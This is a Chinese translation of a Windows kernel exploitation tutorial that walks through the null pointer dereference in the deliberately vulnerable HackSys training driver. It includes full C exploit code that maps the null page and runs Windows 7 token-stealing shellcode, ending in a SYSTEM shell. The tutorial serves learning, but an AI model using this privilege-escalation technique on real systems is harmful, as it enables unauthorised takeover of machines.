Windows Kernel Exploitation – NullPointer Dereference
原文地址:https://osandamalith.com/2017/06/22/windows-kernel-exploitation-null-pointer-dereference/
本文由prison翻译整理,首发i春秋
引言:Windows内核漏洞的利用和学习一直是众多白帽子心中的痛,相对于web安全来说内核学习方面的文章实在太少,今天为大家带来的是Windows内核内核安全学习较为基础的文章,步骤完善,适合初学者。难度:三颗星
今天我要分享的是在HackSy**treme练习程序中对于空指针解引用漏洞的利用方法。
漏洞概述:资源在这:https://github.com/hacksysteam/HackSy**tremeVulnerableDriver/blob/master/Driver/NullPointerDereference.c
NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(NULL_POINTER_DEREFERENCE)); // Allocate Pool chunk NullPointerDereference = (PNULL_POINTER_DEREFERENCE) ExAllocatePoolWithTag(NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG); if (!NullPointerDereference) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk "); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s ", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s ", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X ", sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint("[+] Pool Chunk: 0x%p ", NullPointerDereference); } // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p ", UserValue); DbgPrint("[+] NullPointerDereference: 0x%p ", NullPointerDereference); // Validate the magic value if (UserValue == MagicValue) { NullPointerDereference->Value = UserValue; NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; DbgPrint("[+] NullPointerDereference->Value: 0x%p ", NullPointerDereference->Value); DbgPrint("[+] NullPointerDereference->Callback: 0x%p ", NullPointerDereference->Callback); } else { DbgPrint("[+] Freeing NullPointerDereference Object "); DbgPrint("[+] Pool Tag: %s ", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p ", NullPointerDereference); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer NullPointerDereference = NULL; } #ifdef SECURE // Secure Note: This is secure because the developer is checking if // 'NullPointerDereference' is not NULL before calling the callback function if (NullPointerDereference) { NullPointerDereference->Callback(); } #else DbgPrint("[+] Triggering Null Pointer Dereference "); // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability // because the developer is not validating if 'NullPointerDereference' is NULL // before calling the callback function NullPointerDereference->Callback(); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X ", Status); } return Status; }
如你所见,在源代码中你可以很清楚的看到程序的一切操作。在第42行,将“userValue”与值“0xBAD0B0B0”进行比较,如果在第58行失败,则“NullPointerDereference”值被设置为NULL,在第73行中,值“NullPointerDereference”在调用回调函数之前没有被验证。
让我们把它拆开来看。可以看到,如果提供的“MagicValue”是错误的,那么“NullPointerDereference”的值将被设置为NULL,以避免指针挂起。
xor esi, esi
但是在最后一行,当回调函数被调用时,“NullPointerDereference”的值没有被验证,它是NULL。因此,这导致了一个BSOD,不过,有一个例外处理程序可以避免这一点。
测试漏洞我将使用这个驱动程序头文件中提供的IOCTL值。
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
现在将0xBAD0B0B0作为用户输入赋值给”MagicValue’
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) int _tmain(int argc, _TCHAR* argv[]) { HANDLE hDevice; DWORD lpBytesReturned; PVOID pMemoryAddress = NULL; LPCWSTR lpDeviceName = L"\\.\HackSy**tremeVulnerableDriver"; ULONG MagicValue = 0xBAD0B0B0; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); wprintf(L" Author: @OsandaMalith Website: [url]https://osandamalith.com[/url] "); wprintf(L"[+] lpDeviceName: %ls ", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x ", GetLastError()); return 1; } wprintf(L"[+] Sending IOCTL request "); DeviceIoControl( hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, NULL, NULL, 0, &lpBytesReturned, NULL); CloseHandle(hDevice); return 0; }
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp
然后你会看到,屏幕中打印出“[+] Null Pointer Dereference Object Callback”字样,这说明回调函数执行成功。
而如果我们想搞点不一样的姿势的话可以传递一个错误的“MagicValue”值,比如“0xBaadBabe”,由于异常被处理,BSOD将被阻止。
ULONG MagicValue = 0xBaadBabe;
我在这搞了个断点。
call dword ptr [esi+4]
一旦我用错误的“MagicValue”触发漏洞,我们就会碰到断点。现在的问题是在地址0×00000004上分配我们的指针到shell代码。
如何在0×4分配DWORD?
像VirtualAlloc或VirtualAlloc这样的函数不允许我们在小于0×00001000的起始地址分配内存。因此,我们将不得不使用NTAPI无参数函数的“NtAllocateVirtualMemory”来在用户空间中映射一个空页,然后,我们可以在地址0×00000004上写一个指向shell代码的指针。
NTSTATUS NtAllocateVirtualMemory( _In_ HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _In_ ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, _In_ ULONG AllocationType, _In_ ULONG Protect );
https://undocumented.ntinternals.net
下面是一个示例代码,我在地址0×4中分配了值“0×12345678”
#include "stdafx.h" #include <windows.h> typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); int _tmain(int argc, _TCHAR* argv[]) { PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X ", GetLastError()); return -1; } PVOID BaseAddress = (PVOID)0x1; SIZE_T RegionSize = 1024; NTSTATUS ntStatus = NtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); PVOID ShellcodePtr = (PVOID)((ULONG)0x4); *(PULONG)ShellcodePtr = (ULONG)0x12345678; }
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp
如果我们检查内存转储,我们可以看到我们在地址0×4中成功地分配了一个DWORD。
最终利用我们现在可以综合一下上述所得到的所有线索,把我们的shell代码写到0×4并传递一个错误的“MagicValue”值来触发漏洞。
#include "stdafx.h" #include <stdio.h> #include <Windows.h> #include <Shlobj.h> #define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS) #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID *BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); VOID TokenStealingShellcodeWin7() { __asm { ; initialize pushad; save registers state xor eax, eax; Set zero mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process mov ecx, eax; Copy current _EPROCESS structure mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM ; to current process popad; restore registers state } } int _tmain(void) { HANDLE hDevice; DWORD lpBytesReturned; PVOID pMemoryAddress = NULL; LPCWSTR lpDeviceName = L"\\.\HackSy**tremeVulnerableDriver"; STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; ULONG MagicValue = 0xBaadBabe; hDevice = CreateFile( lpDeviceName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED, NULL); wprintf(L" Author: @OsandaMalith Website: [url]https://osandamalith.com[/url] "); wprintf(L"[+] lpDeviceName: %ls ", lpDeviceName); if (hDevice == INVALID_HANDLE_VALUE) { wprintf(L"[!] Failed to get a handle to the driver. 0x%x ", GetLastError()); return -1; } PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory"); if (!NtAllocateVirtualMemory) { wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X ", GetLastError()); return -1; } PVOID BaseAddress = (PVOID)0x1; SIZE_T RegionSize = 1024; NTSTATUS ntStatus = NtAllocateVirtualMemory( GetCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE ); PVOID ShellcodePtr = (PVOID)((ULONG)0x4); *(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7; wprintf(L"[+] Sending IOCTL request "); DeviceIoControl( hDevice, HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE, (LPVOID)&MagicValue, NULL, NULL, 0, &lpBytesReturned, NULL); ZeroMemory(&si, sizeof si); si.cb = sizeof si; ZeroMemory(&pi, sizeof pi); IsUserAnAdmin() ? CreateProcess( L"C:\Windows\System32\cmd.exe", L"/T:17", NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, (STARTUPINFO *)&si, (PROCESS_INFORMATION *)&pi) : wprintf(L"[!] Exploit Failed!"); CloseHandle(hDevice); return 0; }
https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrDereference.cpp现在 在“calldword ptr [esi+4]”这个设置断点的地方, 验证我们的exp并且查看内存中0×4的位置。
然后我们检查它指向哪里,可以看出它正在指向我们的token窃取代码。
OK~大功告成,这是我们拿到的shell。